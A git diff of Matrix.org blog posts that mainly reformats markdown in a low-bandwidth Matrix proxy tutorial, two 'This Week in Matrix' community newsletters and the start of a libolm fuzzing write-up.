on Kickstarter](https://www.kickstarter.com/projects/cvwright/circles-a-secure-social-app-for-friends-and-family?ref=4fxvne). @@ -353,6 +344,7 @@ You can also [support circles on Kickstarter](https://www.kickstarter.com/projec Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -369,6 +361,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|coffespot.com|1490| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/06/2021-06-10-low-bandwidth-matrix-an-implementation-guide.md b/content/blog/2021/06/2021-06-10-low-bandwidth-matrix-an-implementation-guide.md index c1b7c66e6..53db47300 100644 --- a/content/blog/2021/06/2021-06-10-low-bandwidth-matrix-an-implementation-guide.md +++ b/content/blog/2021/06/2021-06-10-low-bandwidth-matrix-an-implementation-guide.md @@ -28,34 +28,41 @@ set up a low bandwidth proxy server which can be put in front of any Matrix home Android device to speak MSC3079. Low bandwidth Matrix currently does not support web browsers due to their inability to send UDP -traffic. You do _not_ need to be running a homeserver to follow this tutorial. +traffic. You do *not* need to be running a homeserver to follow this tutorial. ## Setting up a low bandwidth proxy for your homeserver Prerequisites: - - Go 1.13+ - - `openssl` to generate a self-signed DTLS certificate, or an existing certificate you want to use. - - Linux or Mac user + +- Go 1.13+ +- `openssl` to generate a self-signed DTLS certificate, or an existing certificate you want to use. +- Linux or Mac user Steps: + - Clone the repo: `git clone https://github.com/matrix-org/lb.git` - Build the low bandwidth proxy: `go build ./cmd/proxy` - Generate a elliptic curve DTLS key/certificate: (we use curve keys as they are smaller than RSA keys, but both work.) + ```bash openssl ecparam -name prime256v1 -genkey -noout -out private-key.pem openssl req -new -x509 -key private-key.pem -out cert.pem -days 365 # you now have cert.pem and private-key.pem ``` + - Run it pointing at matrix.org: + ```bash ./proxy -local 'https://matrix-client.matrix.org' \ --tls-cert cert.pem --tls-key private-key.pem \ --advertise "http://127.0.0.1:8008" \ --dtls-bind-addr :8008 ``` + - You should see something like this: - ``` + + ```txt INFO[0000] Listening on :8008/tcp to reverse proxy from http://127.0.0.1:8008 to https://matrix-client.matrix.org - HTTPS enabled: false INFO[0000] Listening for DTLS on :8008 - ACK piggyback period: 5s ``` @@ -65,6 +72,7 @@ not LibreSSL which comes by default: `openssl version`. To use OpenSSL, `brew in then dumps the binary to `/usr/local/opt/openssl/bin/openssl`. To test it is working correctly: + ```bash # build command line tools we can use to act as a low bandwidth client go build ./cmd/jc @@ -77,19 +85,22 @@ go build ./cmd/coap ``` If this doesn't work: - - Check the proxy logs for errors (e.g bad hostname) - - Try adding `-v` to `./coap` (e.g bad method or path) - - Run the proxy with `SSLKEYLOGFILE=ssl.log` and inspect the decrypted traffic using Wireshark. + +- Check the proxy logs for errors (e.g bad hostname) +- Try adding `-v` to `./coap` (e.g bad method or path) +- Run the proxy with `SSLKEYLOGFILE=ssl.log` and inspect the decrypted traffic using Wireshark. Otherwise, congratulations! You now have a low bandwidth proxy! You can connect to your proxy just like you would to matrix.org or any other homeserver. ### Security considerations + - The proxy acts as a man in the middle and can read all non-E2EE traffic, including login credentials. DO NOT USE UNTRUSTED LOW BANDWIDTH PROXY SERVERS. Only use proxy servers run by yourself or the homeserver admins. ### Further reading + - The `proxy` [README](https://github.com/matrix-org/lb/tree/main/cmd/proxy) - `coap` [README](https://github.com/matrix-org/lb/tree/main/cmd/coap) and `jc` [README](https://github.com/matrix-org/lb/tree/main/cmd/jc) @@ -101,48 +112,55 @@ while things are still experimental, here's a guide for how to build Element And yourself if you feel the urge. This can be used as inspiration for other Matrix clients too. Prerequisites: - - Android Studio + +- Android Studio Steps: - - Clone the repo: `git clone https://github.com/vector-im/element-android.git` - - Checkout `kegan/lb`: `git checkout kegan/lb`. This branch replaces all HTTP traffic going to + +- Clone the repo: `git clone https://github.com/vector-im/element-android.git` +- Checkout `kegan/lb`: `git checkout kegan/lb`. This branch replaces all HTTP traffic going to `/_matrix/client/*` with LB traffic. `/_matrix/media` traffic is left untouched. This branch also disables TLS checks entirely so self-signed certificates will work. - - Clone the low bandwidth repo if you haven't already: +- Clone the low bandwidth repo if you haven't already: `git clone https://github.com/matrix-org/lb.git` - - In the low bandwidth repo, build the mobile bindings: - ``` +- In the low bandwidth repo, build the mobile bindings: + + ```bash go get golang.org/x/mobile/cmd/gomobile cd mobile # if gomobile isn't on your path, then ~/go/bin/gomobile gomobile bind -target=android ``` - - Copy the output files to a directory in the Element Android repo which Gradle will pick up: - ``` + +- Copy the output files to a directory in the Element Android repo which Gradle will pick up: + + ```bash mkdir $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs cp mobile-sources.jar $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs cp mobile.aar $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs ``` - - Open the project in Android Studio. - - Build and run on a device/emulator. - - Configure the proxy's `--advertise` address. If you are running on a local device, restart the + +- Open the project in Android Studio. +- Build and run on a device/emulator. +- Configure the proxy's `--advertise` address. If you are running on a local device, restart the proxy with an `--advertise` of your machines LAN IP e.g 192.168.1.2 instead of 127.0.0.1. If you are running on an emulator, restart the proxy with an `--advertise` of the [host IP](https://developer.android.com/studio/run/emulator-networking#networkaddresses): 10.0.2.2. The URL scheme should be `https` not `http`, else image loading won't work as Element Android won't download media over `http`. - - Login to your matrix.org account via the proxy with the `--advertise` address as the HS URL +- Login to your matrix.org account via the proxy with the `--advertise` address as the HS URL e.g `https://192.168.1.2:8008` or `https://10.0.2.2:8008`. The port is important. To verify it is running via low bandwidth: - - Install Wireshark. - - Restart the proxy with the environment variable `SSLKEYLOGFILE=ssl.log`. - - Run tcpdump on the right interface e.g: `sudo tcpdump -i en0 -s 0 -v port 8008 -w lb.pcap` - - Force stop the android app to forcibly close any existing DTLS connections. - - Re-open the app. - - Open `lb.pcap` in Wireshark and set `ssl.log` as the Pre-Master Secret log filename via + +- Install Wireshark. +- Restart the proxy with the environment variable `SSLKEYLOGFILE=ssl.log`. +- Run tcpdump on the right interface e.g: `sudo tcpdump -i en0 -s 0 -v port 8008 -w lb.pcap` +- Force stop the android app to forcibly close any existing DTLS connections. +- Re-open the app. +- Open `lb.pcap` in Wireshark and set `ssl.log` as the Pre-Master Secret log filename via Preferences -> Protocols -> TLS -> Pre-Master Secret log filename. - - Check there is DTLS/CoAP traffic. +- Check there is DTLS/CoAP traffic. ## Performance @@ -155,6 +173,7 @@ and receive the response, including connection setup: | CoAP+CBOR | 6 | 1440 | ## Limitations + - CoAP [OBSERVE](https://datatracker.ietf.org/doc/html/rfc7641) is not enabled by default. This extension allows the server to push data to the client so the client doesn't need to long-poll. It is not yet enabled because of the risk of state synchronisation issues between the @@ -171,4 +190,3 @@ and receive the response, including connection setup: network with so much data that the sync stream begins to fall behind. Future work will look to optimise the sync API. - The proxy currently doesn't implement the [low bandwidth response](https://github.com/matrix-org/matrix-doc/blob/kegan/low-bandwidth/proposals/3079-low-bandwidth-csapi.md#versioning) in `/versions`. - diff --git a/content/blog/2021/06/2021-06-11-this-week-in-matrix-2021-06-11.md b/content/blog/2021/06/2021-06-11-this-week-in-matrix-2021-06-11.md index 65fd98ac1..2cbaad5d0 100644 --- a/content/blog/2021/06/2021-06-11-this-week-in-matrix-2021-06-11.md +++ b/content/blog/2021/06/2021-06-11-this-week-in-matrix-2021-06-11.md @@ -35,7 +35,7 @@ image = "https://matrix.org/blog/img/2021-06-11-ml.png" > > If you want to suggest a room for this section, send an email to > -> roomoftheweek@koesters.xyz or a Matrix message in +> or a Matrix message in > [#roomoftheweek:fachschaften.org](https://matrix.to/#/#roomoftheweek:fachschaften.org) Yep, go ahead and *email* your suggested Matrix room-of-the-week to Timo! @@ -48,10 +48,10 @@ Yep, go ahead and *email* your suggested Matrix room-of-the-week to Timo! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -66,7 +66,7 @@ Yep, go ahead and *email* your suggested Matrix room-of-the-week to Timo! > > * [[WIP] MSC3234: Send currently open room in client to bots](https://github.com/matrix-org/matrix-doc/pull/3234) > -> #### Spec Updates +> ### Spec Updates > > Mostly Spaces and E2EE work this week. New spec release is still in the works. @@ -88,7 +88,7 @@ This chart also represents interest in Pinecone over time! ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) told us: @@ -97,7 +97,7 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs > > If you know about other key-value databases that work better with Rust, please comment on the issue: > -> https://gitlab.com/famedly/conduit/-/issues/74 +> > > * Feature: Swappable database backend > @@ -113,13 +113,11 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs > This week I implemented the remaining API route for URL previewing. Already has some nicer url preview results like showing images with Twitter posts and proper YouTube previews instead of the cookie wall text :) > > With this, synapse-media-proxy *should* be a drop-in overlay for all Synapse's /_matrix/media routes. -> I don't really recommend using it in prod yet however, but I have a test instance that could use some responsible disclosure pentesting at https://media.pixie.town, please DM me [@f0x:pixie.town](https://matrix.to/#/@f0x:pixie.town) if you find anything :) +> I don't really recommend using it in prod yet however, but I have a test instance that could use some responsible disclosure pentesting at , please DM me [@f0x:pixie.town](https://matrix.to/#/@f0x:pixie.town) if you find anything :) > -> https://git.pixie.town/f0x/synapse-media-proxy +> > synapse-media-proxy now has a room at [#synapse-media-proxy:pixie.town](https://matrix.to/#/#synapse-media-proxy:pixie.town) - - ![2021-06-11-8dmdK-image.png](/blog/img/2021-06-11-8dmdK-image.png) ### Synapse @@ -130,7 +128,7 @@ Synapse is a popular homeserver written in Python. > 🚪 Knock, knock... It's Friday! > -> After over a year of work and over a hundred commits, we're now one _major_ step closer to supporting [MSC 2403: Add "Knock" feature](https://github.com/matrix-org/matrix-doc/pull/2403), which allows users to request admission to rooms which would otherwise be invite-only. Specifically, last Wednesday we merged ([#6739](https://github.com/matrix-org/synapse/pull/6739)) which is an experimental implementation of the MSC, under an unstable prefix. Knocking is not available in any current room versions — we need to implement room version 7 for that — but the remaining work is minimal¹ compared to what it took to get to this point. 🙂 Major kudos to Sorunome, Anoa, and Clokep for their work on both the spec and implementation. +> After over a year of work and over a hundred commits, we're now one *major* step closer to supporting [MSC 2403: Add "Knock" feature](https://github.com/matrix-org/matrix-doc/pull/2403), which allows users to request admission to rooms which would otherwise be invite-only. Specifically, last Wednesday we merged ([#6739](https://github.com/matrix-org/synapse/pull/6739)) which is an experimental implementation of the MSC, under an unstable prefix. Knocking is not available in any current room versions — we need to implement room version 7 for that — but the remaining work is minimal¹ compared to what it took to get to this point. 🙂 Major kudos to Sorunome, Anoa, and Clokep for their work on both the spec and implementation. > > Otherwise we're looking forward to releasing Synapse 1.36 early next week, and we have some great things in store... but I'll not spoil them today! 🤫 > @@ -152,7 +150,7 @@ Synapse is a popular homeserver written in Python. > Hi folks. Some time ago I asked here about any projects that provided a local Matrix "node" through docker, and it seemed not much existed in that space, so I went ahead and created the following repo: > -> https://github.com/Automattic/matrix-env +> > > Docker-based development environment for Matrix. Provides a local sandbox with the following pre-configured services: > @@ -196,9 +194,7 @@ Thanks [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) for passing this on! Look > > * And finally, a privacy feature to block incoming IRC messages when Matrix users are not all joined which is requested by some IRC networks. > -> Please report bugs as you see them to https://github.com/matrix-org/matrix-appservice-irc, and let's all pray this will be a smooth release :) - - +> Please report bugs as you see them to , and let's all pray this will be a smooth release :) ### matrix-puppeteer-line @@ -218,9 +214,9 @@ Thanks [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) for passing this on! Look > > * Use MSC2409 to avoid having to view a LINE chat when syncing non-text messages (like images). The idea is to send a placeholder message that will get replaced with the real message (which requires Puppeteer to view the LINE chat) only when you actually view the placeholder. > -> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) +> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) > -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -236,8 +232,6 @@ Thanks [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) for passing this on! Look > > I hope we will make it to space next week! - - ![2021-06-11-Xd2Et-clipboard.png](/blog/img/2021-06-11-Xd2Et-clipboard.png) ![2021-06-11-BuP8c-clipboard.png](/blog/img/2021-06-11-BuP8c-clipboard.png) @@ -246,45 +240,41 @@ Thanks [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) for passing this on! Look Updates from the teams. + **Delight, a team aiming to delight users** +* We’re making good progress on the ability to re-order Spaces on Web & Android, expected to land soon! +* We’re also adding aliases to Space creation, to make it easier to share and onboard other users +* On iOS, we recently merged a refactor with a new sidebar design which lays the foundations for iOS joining the Spaces beta +* We’ve also been working on adding pagination to the Space Summary API on Synapse +* Meanwhile, we’re also shepherding various MSCs through the spec process to improve private Spaces in the very near future - -* We’re making good progress on the ability to re-order Spaces on Web & Android, expected to land soon! -* We’re also adding aliases to Space creation, to make it easier to share and onboard other users -* On iOS, we recently merged a refactor with a new sidebar design which lays the foundations for iOS joining the Spaces beta -* We’ve also been working on adding pagination to the Space Summary API on Synapse -* Meanwhile, we’re also shepherding various MSCs through the spec process to improve private Spaces in the very near future - + **Web** - - -* 1.7.30 released on Monday -* On develop - * Upgraded to React 17 - * First GitHub Actions pipeline for web -* In flight - * Continuing to improve application performance - * Adding dashboard for performance benchmarks - * Working on Apple silicon desktop builds - * Working on translation mismatch errors - +* 1.7.30 released on Monday +* On develop + * Upgraded to React 17 + * First GitHub Actions pipeline for web +* In flight + * Continuing to improve application performance + * Adding dashboard for performance benchmarks + * Working on Apple silicon desktop builds + * Working on translation mismatch errors + + **iOS** +* 1.4.1 released on Tuesday on the App Store +* The new side menu and voice messages are coming. +* We are setting up [Towncrier](https://github.com/twisted/towncrier) to avoid merge conflicts on our CHANGES files. Those conflict prevent Github Actions, our CI, from starting +* We fixed several annoying bugs regarding VoIP and app stability - -* 1.4.1 released on Tuesday on the App Store -* The new side menu and voice messages are coming. -* We are setting up [Towncrier](https://github.com/twisted/towncrier) to avoid merge conflicts on our CHANGES files. Those conflict prevent Github Actions, our CI, from starting -* We fixed several annoying bugs regarding VoIP and app stability - + **Android** - - -* Element Android 1.1.9 has been pushed to production -* We are working with the design team on the dark and light themes, not forgetting the black theme, to ensure some coherence across the application and also to clean up some legacy code. There were too many shades of grey… We will also do the same work on TextAppearance. +* Element Android 1.1.9 has been pushed to production +* We are working with the design team on the dark and light themes, not forgetting the black theme, to ensure some coherence across the application and also to clean up some legacy code. There were too many shades of grey… We will also do the same work on TextAppearance. ### NeoChat @@ -292,20 +282,16 @@ Updates from the teams. > This week was a busy week for NeoChat. We added tons of cool stuff! We rewrote the setting page to add a bit of organization in the settings. This also pushed us to add new appearance options. You can now add a blur effect as background, change the color scheme of NeoChat and switch between bubbles and a more compact layout as you wish. - - ![2021-06-11-_cQEN-image.png](/blog/img/2021-06-11-_cQEN-image.png) ![2021-06-11-ajhCF-image.png](/blog/img/2021-06-11-ajhCF-image.png) > Another thing we worked on was spellchecking. NeoChat will now add a small red underline under misspelled words and will suggest corrections. This is using the Sonnet frameworks and will integrates perfectly with your personal dictionary from your other KDE apps. - ![2021-06-11-9Tsyr-image.png](/blog/img/2021-06-11-9Tsyr-image.png) > Finally something we added two weeks ago but forgot to mention, we added a quick room switcher using the Ctrl + K shortcut. - ![2021-06-11-7BfFl-image.png](/blog/img/2021-06-11-7BfFl-image.png) ## Dept of SDKs and Frameworks 🧰 @@ -345,12 +331,12 @@ Updates from the teams. [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) told us: -> https://simple-matrix-bot-lib.readthedocs.io/en/latest/quickstart.html +> > > Simple-Matrix-Bot-Lib allows anyone who needs a bot in a Matrix Room to do so without having to spend unnecessary time learning a complex framework! > -> https://i.imgur.com/xL4ZBO3.png -> https://i.imgur.com/UFsJMzS.png +> +> ## Dept of Grants 💰️ @@ -358,7 +344,6 @@ Updates from the teams. [numéro6](https://matrix.to/#/@numero6:codelutin.com) told us: - > If you live in France (or eurozone) and your Matrix-related project need some funds, you may candidate to the 2021 #MécénatCodeLutin grant program for FLOSS by [Code Lutin](https://www.codelutin.com/). Candidates may fill the [dedicated form](https://framaforms.org/mecenat-code-lutin-2021-1620296813) before july 8th. ## Dept of Ping 🏓 @@ -366,6 +351,7 @@ Updates from the teams. Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -382,6 +368,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kittenface.studio|2221| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/06/2021-06-14-adventures-in-fuzzing-libolm.md b/content/blog/2021/06/2021-06-14-adventures-in-fuzzing-libolm.md index 380444140..f63494010 100644 --- a/content/blog/2021/06/2021-06-14-adventures-in-fuzzing-libolm.md +++ b/content/blog/2021/06/2021-06-14-adventures-in-fuzzing-libolm.md @@ -103,7 +103,7 @@ Running the offending input on the ASAN variant of the harness revealed it was an invalid read one byte past the end of a heap buffer. The read was happening in the base64 decoder: -``` +```txt ❮ ./build/fuzzers/fuzz_group_decrypt_asan "" pickled-inbound-group-session.txt Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > -> #### MSC Status +> ### MSC Status > > **Closed MSCs:** > @@ -50,14 +50,13 @@ Talking to Half-Shot about Libera Chat IRC bridging. > * [MSC3245: Voice messages (using extensible events)](https://github.com/matrix-org/matrix-doc/pull/3245) > > * [MSC3244: Room version capabilities](https://github.com/matrix-org/matrix-doc/pull/3244) -> #### Spec Updates +> +> ### Spec Updates > > Feedback from the Spec Core Team has landed on [MSC3244: Room version capabilities](https://github.com/matrix-org/matrix-doc/pull/3244), [MSC3083: Restricted room membership](https://github.com/matrix-org/matrix-doc/pull/3083) and a myriad of others. Travis has stormed in with [MSC3245: Voice messages via Extensible Events](https://github.com/matrix-org/matrix-doc/pull/3245) and [MSC3246: Audio event/waveform representation in extensible events](https://github.com/matrix-org/matrix-doc/pull/3246) and as a result [MSC1767: Extensible Events](https://github.com/matrix-org/matrix-doc/pull/1767) has gotten some love. > > Finally [MSC3173: Expose stripped state events to potential joiners](https://github.com/matrix-org/matrix-doc/pull/3173) reached FCP this week, which is a step towards informing clients about the state of a room before they attempt to join or knock on it, which allows for nicer client UX when deciding whether you want to join a room or not. - - ![2021-06-18-s1CD_-stacked_area_chart.png](/blog/img/2021-06-18-s1CD_-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -84,14 +83,14 @@ Happy weekend to you too! Let's upgrade to 1.36 this weekend! > Actively deployed to pixie.town's Synapse now, and running very smoothly. [Happy graphs](https://stats.pixie.town/d/rPBvoh6Gk/synapse-media-proxy?orgId=1&from=now-3d&to=now&refresh=15m) show 91% of requests are handled without Synapse involved. > -> Also demonstrated the very seamless drop-in enable and disable, just changing the reverse proxy url back and forth from Synapse, and with this you could cautiously try this out for your own server, but stay in touch with [#synapse-media-proxy:pixie.town](https://matrix.to/#/#synapse-media-proxy:pixie.town) +> Also demonstrated the very seamless drop-in enable and disable, just changing the reverse proxy url back and forth from Synapse, and with this you could cautiously try this out for your own server, but stay in touch with [#synapse-media-proxy:pixie.town](https://matrix.to/#/#synapse-media-proxy:pixie.town) > -> https://git.pixie.town/f0x/synapse-media-proxy +> > > #### autodiscover-server-configuration > > Got an update after realizing that maunium.net's horrible but technically correct server discovery didn't get handled correctly yet -> https://www.npmjs.com/package/@f0x52/autodiscover-server-configuration +> ## Homeserver Deployment 📥️ @@ -136,7 +135,7 @@ Happy weekend to you too! Let's upgrade to 1.36 this weekend! > > Currently working towards 1.0 release so mostly bug hunting and improving existing code and features. > -> **Call for mutual help!** The plumb feature needs more testing on busy IRC channels. If you need to plumb public Matrix rooms and IRC channels on _any_ IRC network that does not have a public bridge available or just want to use a relaybot on IRC side for some reason hit me up on [#heisenbridge:vi.fi](https://matrix.to/#/#heisenbridge:vi.fi) and we can setup a test plumb, free of charge! Only requirements are that I can lurk around to monitor how it works and there's nothing offensive on-topic. +> **Call for mutual help!** The plumb feature needs more testing on busy IRC channels. If you need to plumb public Matrix rooms and IRC channels on *any* IRC network that does not have a public bridge available or just want to use a relaybot on IRC side for some reason hit me up on [#heisenbridge:vi.fi](https://matrix.to/#/#heisenbridge:vi.fi) and we can setup a test plumb, free of charge! Only requirements are that I can lurk around to monitor how it works and there's nothing offensive on-topic. > > In other news @warthog9 [submitted an article to opensource.com](https://opensource.com/article/21/6/irc-matrix-bridge-znc) how to use ZNC and Heisenbridge together to keep using your existing IRC bouncer with Heisenbridge as a client for it. Pretty cool stuff! > @@ -175,9 +174,9 @@ Watch Matrix Live for more from Half-Shot. > > Once that is taken care of, I'll consider the bridge to be in beta! 🎉 > -> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) +> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) > -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -185,51 +184,49 @@ Watch Matrix Live for more from Half-Shot. Updates from the teams + **Delight team** -* Spaces: - * The highly requested drag & drop for reordering of Spaces has entered RC, expect it soon - * New settings to setup aliases for spaces will also land in next release - * Ongoing work to improve team spaces with restricted rooms. - * We have a plan for iOS +* Spaces: + * The highly requested drag & drop for reordering of Spaces has entered RC, expect it soon + * New settings to setup aliases for spaces will also land in next release + * Ongoing work to improve team spaces with restricted rooms. + * We have a plan for iOS + **Web** - - -* 1.7.31 RC on staging - * Various tweaks and improvements to the Spaces beta experience - * Added room intro warning when E2EE is not enabled - * Improved message forwarding UI - * Improved timeline reflow and room list filter performance -* On develop - * First version of [web perf metrics dashboard](https://matrix-org.github.io/matrix-react-sdk/dev/bench/) available, updated for each commit to develop - * Fixed [reply thread perf regression](https://github.com/vector-im/element-web/issues/17563) which was sending lots of `/context/undefined` requests -* In flight - * Continuing to improve application performance - * Working on Apple silicon desktop builds - * Working on translation mismatch errors - * Starting work on message bubbles, building on existing work from the community - * Fuzzy matching for the room list filter in progress -* Coming soon - * Voice messages: we're in the testing stages and looking for feedback before they go live. Give it a go and let us know! - +* 1.7.31 RC on staging + * Various tweaks and improvements to the Spaces beta experience + * Added room intro warning when E2EE is not enabled + * Improved message forwarding UI + * Improved timeline reflow and room list filter performance +* On develop + * First version of [web perf metrics dashboard](https://matrix-org.github.io/matrix-react-sdk/dev/bench/) available, updated for each commit to develop + * Fixed [reply thread perf regression](https://github.com/vector-im/element-web/issues/17563) which was sending lots of `/context/undefined` requests +* In flight + * Continuing to improve application performance + * Working on Apple silicon desktop builds + * Working on translation mismatch errors + * Starting work on message bubbles, building on existing work from the community + * Fuzzy matching for the room list filter in progress +* Coming soon + * Voice messages: we're in the testing stages and looking for feedback before they go live. Give it a go and let us know! + + **iOS** +* The new side menu and the new UI to join a room by alias are on develop. +* The security settings screen has been updated to match the UX of element-web. The iOS app now uses the same wording for “Security Phrase” and “Security Key” +* Device dehydration now works in the SDK. We need to polish the work before merging the PR +* Voice message is still progressing well. We need to figure out how we will deal with the ogg format on iOS. We also need to add a cache to improve performance in the audio (and encryption) processing - -* The new side menu and the new UI to join a room by alias are on develop. -* The security settings screen has been updated to match the UX of element-web. The iOS app now uses the same wording for “Security Phrase” and “Security Key” -* Device dehydration now works in the SDK. We need to polish the work before merging the PR -* Voice message is still progressing well. We need to figure out how we will deal with the ogg format on iOS. We also need to add a cache to improve performance in the audio (and encryption) processing - + **Android** - - -* Theme changes are now merged on develop and will be included in release 1.1.10. All the themes and styles have been moved to a dedicated gradle module. This is the first step to be able to develop new app features using dedicated modules. Other steps are required for us to be able to do that though (create a _core_ module, etc.). -* All the PlayStore descriptions have been pushed to the PlayStore using Fastlane, should be live soon. F-Droid already has the up to date translations for the store assets. Thanks to all the contributors on Weblate! -* Release 1.1.10 will be prepared today. Expect it to be in production next week if everything is fine. +* Theme changes are now merged on develop and will be included in release 1.1.10. All the themes and styles have been moved to a dedicated gradle module. This is the first step to be able to develop new app features using dedicated modules. Other steps are required for us to be able to do that though (create a *core* module, etc.). +* All the PlayStore descriptions have been pushed to the PlayStore using Fastlane, should be live soon. F-Droid already has the up to date translations for the store assets. Thanks to all the contributors on Weblate! +* Release 1.1.10 will be prepared today. Expect it to be in production next week if everything is fine. ### NeoChat @@ -239,8 +236,6 @@ Updates from the teams {{ youtube_player(video_id="bX01Tvt3TXw") }} - - > Janet Blackquill implemented custom emojis using the im.ponies.user_emotes extension. For now auto-completion works, the custom emojis will be displayed in the emoji picker and lastly there is also an UI to add new emojis. We plan to implement more of the im.ponies MSC (custom stickers, sticker pack) soon :) ![2021-06-18-h_knR-emojis1.png](/blog/img/2021-06-18-h_knR-emojis1.png) @@ -249,7 +244,7 @@ Updates from the teams > Smitty van Bodegom implemented spoilers and added /j and /leave alias for /join and /part. He also fixed the spellchecker trying to spellcheck commands like /rainbowme. > -> Oh and finally NeoChat was also featured on last week's "This Week in Linux" podcast: https://www.youtube.com/watch?v=XaPWx_z_50s Don't forget to follow us on Twitter @NeoChatKDE or Mastodon @neochat@fosstodon.org, to get your latest news about NeoChat. +> Oh and finally NeoChat was also featured on last week's "This Week in Linux" podcast: Don't forget to follow us on Twitter @NeoChatKDE or Mastodon @, to get your latest news about NeoChat. > > Akademy is also happening this weekend and next week. KDE is using Matrix and BigBlueButton for the conference. There will be a lot of talk, training and bofs. We have a bof the 22th June at 16th. It's virtual and everyone is welcome to join and discuss with us NeoChat development. @@ -269,7 +264,7 @@ Updates from the teams [[pioneer]](https://matrix.to/#/@pioneer:matrix.org) told us: -> Here's the FluffyChat subreddit, in order to provide more structured way of discussions, keep questions asked again and again in one place, and refer to older answers whenever the need is, as well as just to hang out https://www.reddit.com/r/fluffychat/ +> Here's the FluffyChat subreddit, in order to provide more structured way of discussions, keep questions asked again and again in one place, and refer to older answers whenever the need is, as well as just to hang out ### Nheko @@ -281,7 +276,7 @@ Updates from the teams ![2021-06-18-_UN2g-Screenshot_20210618_161358.png](/blog/img/2021-06-18-_UN2g-Screenshot_20210618_161358.png) -Nheko also [now supports deeplinking using the matrix:// scheme](https://github.com/matrix-org/matrix.to/pull/200) +Nheko also [now supports deeplinking using the matrix:// scheme](https://github.com/matrix-org/matrix.to/pull/200) ![2021-06-18-YKMKI-clipboard.png](/blog/img/2021-06-18-YKMKI-clipboard.png) @@ -293,7 +288,7 @@ Nheko also [now supports deeplinking using the matrix:// scheme](https://github. > The Dart language now has a new SDK for Matrix developed and maintained by famedly.com and published here: > -> https://pub.dev/packages/matrix +> > > It provides a fully featured base for Dart and Flutter applications including E2EE, and Cross Signing. After more than 2 years of development we now declared it as stable. The Matrix Dart SDK (formerly known as famedly SDK) was initially a rewrite of the FluffyChat backend which was written in JavaScript. It came a long way since then and is now the base for the Famedly App and for the Flutter version of FluffyChat. @@ -311,7 +306,7 @@ Nheko also [now supports deeplinking using the matrix:// scheme](https://github. > > We got an AppImage build for x86-64 GNU/Linux systems. Feel free to try -)) > -> https://lily.kazv.moe/kazv/kazv/-/jobs/452/artifacts/browse +> ## Dept of Ops 🛠 @@ -324,12 +319,11 @@ Nheko also [now supports deeplinking using the matrix:// scheme](https://github. > It can locally store multiple access tokens and helps debug and maintain room permissions. > It's not looking fancy yet but already proved useful for many of the matrix.org IRC support requests. - ![2021-06-18-fhMmB-Screenshot2021-06-18at17-33-21MatrixNavigator.png](/blog/img/2021-06-18-fhMmB-Screenshot2021-06-18at17-33-21MatrixNavigator.png) -> https://matrix-navigator.chrpaul.de/ (statically hosted) +> (statically hosted) > -> https://gitlab.com/jaller94/matrix-navigator (license not yet decided) +> (license not yet decided) ## Dept of Bots 🤖 @@ -351,9 +345,9 @@ Nheko also [now supports deeplinking using the matrix:// scheme](https://github. [Denise](https://matrix.to/#/@denise.a:vector.modular.im) offered: -> Tomorrow Element will host an event alongside Protonmail, Open-Xchange and Open Forum Europe on the 